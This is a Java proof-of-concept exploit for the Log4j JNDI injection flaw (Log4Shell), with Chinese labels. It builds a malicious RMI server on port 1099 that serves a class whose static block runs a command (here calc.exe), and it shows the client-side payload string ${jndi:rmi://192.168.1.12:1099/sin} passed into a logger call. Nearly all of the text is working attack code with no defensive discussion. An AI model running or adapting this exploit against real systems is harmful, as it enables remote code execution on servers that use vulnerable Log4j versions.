
package com.example.YourPack;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Log4jServer {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("Log4jServerObj", "Log4jServerObj",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("sin",referenceWrapper);
System.out.println("启动服务-1099");
} catch (Exception e) {
e.printStackTrace();
}
}
}
服务端调用的对象
package com.example.YourPack;
import java.io.IOException;
public class Log4jServerObj {
static {
System.out.println("哈哈哈哈哈");
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
客户端-main函数执行测试
//name案例-${jndi:rmi://192.168.1.12:1099/sin}
Logger logger = LogManager.getLogger();
logger.error("{}",name);
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